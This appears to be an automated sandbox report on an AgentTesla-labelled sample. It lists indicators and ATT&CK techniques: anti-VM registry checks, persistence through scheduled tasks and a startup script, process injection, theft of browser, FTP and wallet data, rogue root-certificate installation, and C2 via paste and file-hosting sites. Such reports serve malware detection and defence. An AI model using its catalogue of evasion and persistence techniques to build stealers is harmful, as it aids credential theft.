agenttesla | 98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mQxBvlTA.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral4/files/0x000600000002a8d2-2835.dat	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mQxBvlTA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mQxBvlTA.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\word.vbs	word.exe

Executes dropped EXE 49 IoCs

pid	Process
2924	mQxBvlTA.exe
5080	xIPJVPDq.exe
3200	FZuUwBfo.exe
3196	crypted6077866846MVYQY.exe
2044	i1gcbW1E.exe
4832	wininit.exe
4852	1234.exe
3856	ISetup8.exe
1548	u2z4.0.exe
4032	u2z4.1.exe
1960	word.exe
4512	test2.exe
2488	word.exe
5100	word.exe
3108	1111.exe
4040	ISetup2.exe
3160	Tester.exe
2264	svchost.exe
4884	u348.0.exe
4700	555.exe
4300	Document.exe
4692	BrawlB0t.exe
332	medcallaboratory5.exe
5012	securitycheck.exe
4236	PrintSpoofer.exe
4936	Adobe_update.exe
1048	Retailer_prog.exe
5040	BroomSetup.exe
2492	alexxxxxxxx.exe
5020	syncUpd.exe
4032	Ledger-Live.exe
3736	propro.exe
2868	Traffic.exe
5368	Document.exe
5380	Document.exe
5724	1111.exe
5868	new1.exe
2788	swiiii.exe
5016	ISetup5.exe
5900	u3vc.0.exe
5748	mstsc.exe
5684	Jufrxnb.exe
5380	Jufrxnb.exe
6080	msdtc.exe
1568	Jufrxnb.exe
6128	Jufrxnb.exe
5436	OneDrive.exe
5948	u3vc.1.exe
5524	crypted_097f1784.exe

Loads dropped DLL 2 IoCs

pid	Process
5472	RegAsm.exe
5472	RegAsm.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x0002000000029e08-7.dat	themida
behavioral4/memory/2924-59-0x0000000000150000-0x000000000126C000-memory.dmp	themida
behavioral4/memory/2924-60-0x0000000000150000-0x000000000126C000-memory.dmp	themida

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	45.155.250.90

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mQxBvlTA.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\U:	Jufrxnb.exe
File opened (read-only)	\??\B:	Jufrxnb.exe
File opened (read-only)	\??\I:	Jufrxnb.exe
File opened (read-only)	\??\K:	Jufrxnb.exe
File opened (read-only)	\??\M:	Jufrxnb.exe
File opened (read-only)	\??\O:	Jufrxnb.exe
File opened (read-only)	\??\T:	Jufrxnb.exe
File opened (read-only)	\??\V:	Jufrxnb.exe
File opened (read-only)	\??\H:	Jufrxnb.exe
File opened (read-only)	\??\L:	Jufrxnb.exe
File opened (read-only)	\??\N:	Jufrxnb.exe
File opened (read-only)	\??\R:	Jufrxnb.exe
File opened (read-only)	\??\S:	Jufrxnb.exe
File opened (read-only)	\??\G:	Jufrxnb.exe
File opened (read-only)	\??\X:	Jufrxnb.exe
File opened (read-only)	\??\Y:	Jufrxnb.exe
File opened (read-only)	\??\Z:	Jufrxnb.exe
File opened (read-only)	\??\E:	Jufrxnb.exe
File opened (read-only)	\??\J:	Jufrxnb.exe
File opened (read-only)	\??\P:	Jufrxnb.exe
File opened (read-only)	\??\Q:	Jufrxnb.exe
File opened (read-only)	\??\W:	Jufrxnb.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	pastebin.com
6	raw.githubusercontent.com
9	pastebin.com
257	drive.google.com
258	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

AutoIT Executable 6 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x000300000002a7f5-73.dat	autoit_exe
behavioral4/files/0x0003000000029e17-162.dat	autoit_exe
behavioral4/files/0x0003000000029e17-174.dat	autoit_exe
behavioral4/files/0x0003000000029e17-202.dat	autoit_exe
behavioral4/files/0x0003000000029e17-233.dat	autoit_exe
behavioral4/files/0x0004000000025cad-433.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2924	mQxBvlTA.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 5100 set thread context of 3964	5100	word.exe	109
PID 332 set thread context of 988	332	medcallaboratory5.exe	128
PID 4936 set thread context of 2420	4936	Adobe_update.exe	144
PID 2492 set thread context of 1968	2492	alexxxxxxxx.exe	159
PID 4300 set thread context of 5380	4300	Document.exe	203
PID 2788 set thread context of 5472	2788	swiiii.exe	189
PID 5524 set thread context of 5372	5524	crypted_097f1784.exe	222

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe	mstsc.exe
File opened for modification	C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe	mstsc.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5748	sc.exe
1408	sc.exe
3016	sc.exe
3024	sc.exe

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral4/files/0x000100000002a8b0-2202.dat	pyinstaller
behavioral4/files/0x000100000002a8e1-2458.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 28 IoCs

pid	pid_target	Process	procid_target
2264	3856	WerFault.exe	90
876	3856	WerFault.exe	90
1848	4884	WerFault.exe	112
1404	4936	WerFault.exe	141
2648	5020	WerFault.exe	153
5876	5724	WerFault.exe	178
5232	5748	WerFault.exe	195
5292	5684	WerFault.exe	198
6032	5380	WerFault.exe	203
5828	1568	WerFault.exe	207
1848	5016	WerFault.exe	187
5600	5016	WerFault.exe	187
5976	5524	WerFault.exe	220
5004	5900	WerFault.exe	194
1484	4432	WerFault.exe	244
5512	440	WerFault.exe	277
1380	1288	WerFault.exe	266
2552	1288	WerFault.exe	266
2816	5688	WerFault.exe	358
5600	3308	WerFault.exe	373
2300	5468	WerFault.exe	424
4176	5468	WerFault.exe	424
4940	5468	WerFault.exe	424
4992	5468	WerFault.exe	424
4176	5468	WerFault.exe	424
5368	5468	WerFault.exe	424
2268	5468	WerFault.exe	424
5680	5468	WerFault.exe	424

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vc.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vc.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vc.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u2z4.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u2z4.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u2z4.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jufrxnb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Jufrxnb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u2z4.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Jufrxnb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jufrxnb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Jufrxnb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Jufrxnb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u2z4.0.exe

Creates scheduled task(s) 1 TTPs 34 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5276	schtasks.exe
308	schtasks.exe
2424	schtasks.exe
5756	schtasks.exe
1780	schtasks.exe
364	schtasks.exe
4228	schtasks.exe
2324	schtasks.exe
1260	schtasks.exe
5540	schtasks.exe
4796	schtasks.exe
5688	schtasks.exe
3120	schtasks.exe
5052	schtasks.exe
2212	schtasks.exe
4868	schtasks.exe
3500	schtasks.exe
5376	schtasks.exe
4928	schtasks.exe
5236	schtasks.exe
6040	schtasks.exe
3440	schtasks.exe
1828	schtasks.exe
4108	schtasks.exe
228	schtasks.exe
5888	schtasks.exe
304	schtasks.exe
6104	schtasks.exe
1396	schtasks.exe
2552	schtasks.exe
2912	schtasks.exe
2612	schtasks.exe
5352	schtasks.exe
2120	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2312	timeout.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum	Jufrxnb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	Jufrxnb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	Jufrxnb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	Jufrxnb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum\Version = "7"	Jufrxnb.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5548	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5080	xIPJVPDq.exe
5080	xIPJVPDq.exe
5080	xIPJVPDq.exe
5080	xIPJVPDq.exe
3200	FZuUwBfo.exe
3200	FZuUwBfo.exe
3200	FZuUwBfo.exe
3200	FZuUwBfo.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
1548	u2z4.0.exe
1548	u2z4.0.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
2264	svchost.exe
2264	svchost.exe
988	RegSvcs.exe
988	RegSvcs.exe
988	RegSvcs.exe
5012	securitycheck.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4608	powershell.exe
4608	powershell.exe
4608	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
2180	svchost.exe
2180	svchost.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
1048	Retailer_prog.exe
1048	Retailer_prog.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
1364	powershell.exe
1364	powershell.exe
4300	Document.exe
4300	Document.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
1960	word.exe
2488	word.exe
5100	word.exe
332	medcallaboratory5.exe
332	medcallaboratory5.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	New Text Document.exe
Token: SeDebugPrivilege	5080	xIPJVPDq.exe
Token: SeDebugPrivilege	3200	FZuUwBfo.exe
Token: SeDebugPrivilege	3196	crypted6077866846MVYQY.exe
Token: SeDebugPrivilege	2924	mQxBvlTA.exe
Token: SeDebugPrivilege	2264	svchost.exe
Token: SeBackupPrivilege	916	vssvc.exe
Token: SeRestorePrivilege	916	vssvc.exe
Token: SeAuditPrivilege	916	vssvc.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	2264	svchost.exe
Token: SeDebugPrivilege	4692	BrawlB0t.exe
Token: SeDebugPrivilege	988	RegSvcs.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	2180	svchost.exe
Token: SeDebugPrivilege	2180	svchost.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	2180	svchost.exe
Token: SeDebugPrivilege	4300	Document.exe
Token: SeDebugPrivilege	2868	Traffic.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeBackupPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeDebugPrivilege	5380	Document.exe
Token: SeDebugPrivilege	5816	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Token: SeDebugPrivilege	5748	mstsc.exe
Token: SeDebugPrivilege	5684	Jufrxnb.exe
Token: SeDebugPrivilege	5380	Jufrxnb.exe
Token: SeDebugPrivilege	5380	Jufrxnb.exe
Token: SeDebugPrivilege	5380	Jufrxnb.exe
Token: SeDebugPrivilege	6128	Jufrxnb.exe
Token: SeDebugPrivilege	1568	Jufrxnb.exe
Token: SeDebugPrivilege	6128	Jufrxnb.exe
Token: SeDebugPrivilege	5436	OneDrive.exe
Token: SeDebugPrivilege	6080	msdtc.exe

Suspicious use of FindShellTrayWindow 31 IoCs

pid	Process
4832	wininit.exe
4832	wininit.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
1960	word.exe
1960	word.exe
2488	word.exe
2488	word.exe
5100	word.exe
5100	word.exe
332	medcallaboratory5.exe
332	medcallaboratory5.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe

Suspicious use of SendNotifyMessage 31 IoCs

pid	Process
4832	wininit.exe
4832	wininit.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
1960	word.exe
1960	word.exe
2488	word.exe
2488	word.exe
5100	word.exe
5100	word.exe
332	medcallaboratory5.exe
332	medcallaboratory5.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2264	svchost.exe
2180	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 2924	1140	New Text Document.exe	81
PID 1140 wrote to memory of 2924	1140	New Text Document.exe	81
PID 1140 wrote to memory of 2924	1140	New Text Document.exe	81
PID 1140 wrote to memory of 5080	1140	New Text Document.exe	82
PID 1140 wrote to memory of 5080	1140	New Text Document.exe	82
PID 1140 wrote to memory of 5080	1140	New Text Document.exe	82
PID 5080 wrote to memory of 3200	5080	xIPJVPDq.exe	83
PID 5080 wrote to memory of 3200	5080	xIPJVPDq.exe	83
PID 1140 wrote to memory of 3196	1140	New Text Document.exe	84
PID 1140 wrote to memory of 3196	1140	New Text Document.exe	84
PID 1140 wrote to memory of 3196	1140	New Text Document.exe	84
PID 1140 wrote to memory of 2044	1140	New Text Document.exe	86
PID 1140 wrote to memory of 2044	1140	New Text Document.exe	86
PID 1140 wrote to memory of 4832	1140	New Text Document.exe	88
PID 1140 wrote to memory of 4832	1140	New Text Document.exe	88
PID 1140 wrote to memory of 4832	1140	New Text Document.exe	88
PID 1140 wrote to memory of 4852	1140	New Text Document.exe	89
PID 1140 wrote to memory of 4852	1140	New Text Document.exe	89
PID 1140 wrote to memory of 4852	1140	New Text Document.exe	89
PID 1140 wrote to memory of 3856	1140	New Text Document.exe	90
PID 1140 wrote to memory of 3856	1140	New Text Document.exe	90
PID 1140 wrote to memory of 3856	1140	New Text Document.exe	90
PID 3856 wrote to memory of 1548	3856	ISetup8.exe	91
PID 3856 wrote to memory of 1548	3856	ISetup8.exe	91
PID 3856 wrote to memory of 1548	3856	ISetup8.exe	91
PID 3856 wrote to memory of 4032	3856	ISetup8.exe	162
PID 3856 wrote to memory of 4032	3856	ISetup8.exe	162
PID 3856 wrote to memory of 4032	3856	ISetup8.exe	162
PID 4832 wrote to memory of 1960	4832	wininit.exe	96
PID 4832 wrote to memory of 1960	4832	wininit.exe	96
PID 4832 wrote to memory of 1960	4832	wininit.exe	96
PID 1140 wrote to memory of 4512	1140	New Text Document.exe	99
PID 1140 wrote to memory of 4512	1140	New Text Document.exe	99
PID 1960 wrote to memory of 4084	1960	word.exe	103
PID 1960 wrote to memory of 4084	1960	word.exe	103
PID 1960 wrote to memory of 4084	1960	word.exe	103
PID 1960 wrote to memory of 2488	1960	word.exe	104
PID 1960 wrote to memory of 2488	1960	word.exe	104
PID 1960 wrote to memory of 2488	1960	word.exe	104
PID 2488 wrote to memory of 4176	2488	word.exe	105
PID 2488 wrote to memory of 4176	2488	word.exe	105
PID 2488 wrote to memory of 4176	2488	word.exe	105
PID 2488 wrote to memory of 5100	2488	word.exe	106
PID 2488 wrote to memory of 5100	2488	word.exe	106
PID 2488 wrote to memory of 5100	2488	word.exe	106
PID 1140 wrote to memory of 3108	1140	New Text Document.exe	107
PID 1140 wrote to memory of 3108	1140	New Text Document.exe	107
PID 1140 wrote to memory of 4040	1140	New Text Document.exe	108
PID 1140 wrote to memory of 4040	1140	New Text Document.exe	108
PID 1140 wrote to memory of 4040	1140	New Text Document.exe	108
PID 5100 wrote to memory of 3964	5100	word.exe	109
PID 5100 wrote to memory of 3964	5100	word.exe	109
PID 5100 wrote to memory of 3964	5100	word.exe	109
PID 5100 wrote to memory of 3964	5100	word.exe	109
PID 1140 wrote to memory of 3160	1140	New Text Document.exe	110
PID 1140 wrote to memory of 3160	1140	New Text Document.exe	110
PID 1140 wrote to memory of 2264	1140	New Text Document.exe	111
PID 1140 wrote to memory of 2264	1140	New Text Document.exe	111
PID 4040 wrote to memory of 4884	4040	ISetup2.exe	112
PID 4040 wrote to memory of 4884	4040	ISetup2.exe	112
PID 4040 wrote to memory of 4884	4040	ISetup2.exe	112
PID 1140 wrote to memory of 4700	1140	New Text Document.exe	120
PID 1140 wrote to memory of 4700	1140	New Text Document.exe	120
PID 1140 wrote to memory of 4300	1140	New Text Document.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\New Text Document.exe
"C:\Users\Admin\AppData\Local\Temp\New Text Document.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe
  "C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe
  "C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Users\Admin\AppData\Local\Temp\FZuUwBfo.exe
    "C:\Users\Admin\AppData\Local\Temp\FZuUwBfo.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3200
- C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3196
- C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe
  "C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe"
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
  "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Users\Admin\AppData\Local\directory\word.exe
    "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Windows\SysWOW64\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
      4⤵
      PID:4084
  - - C:\Users\Admin\AppData\Local\directory\word.exe
      "C:\Users\Admin\AppData\Local\directory\word.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2488
    - - C:\Windows\SysWOW64\svchost.exe
        
        "C:\Users\Admin\AppData\Local\directory\word.exe"
        5⤵
        
        PID:4176
    - - C:\Users\Admin\AppData\Local\directory\word.exe
        
        "C:\Users\Admin\AppData\Local\directory\word.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:5100
      - C:\Windows\SysWOW64\svchost.exe
        
        "C:\Users\Admin\AppData\Local\directory\word.exe"
        6⤵
        
        PID:3964
- C:\Users\Admin\AppData\Local\Temp\a\1234.exe
  "C:\Users\Admin\AppData\Local\Temp\a\1234.exe"
  2⤵
  - Executes dropped EXE
  PID:4852
- C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Users\Admin\AppData\Local\Temp\u2z4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u2z4.0.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1548
- - C:\Users\Admin\AppData\Local\Temp\u2z4.1.exe
    "C:\Users\Admin\AppData\Local\Temp\u2z4.1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1644
    3⤵
    - Program crash
    PID:2264
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1524
    3⤵
    - Program crash
    PID:876
- C:\Users\Admin\AppData\Local\Temp\a\test2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test2.exe"
  2⤵
  - Executes dropped EXE
  PID:4512
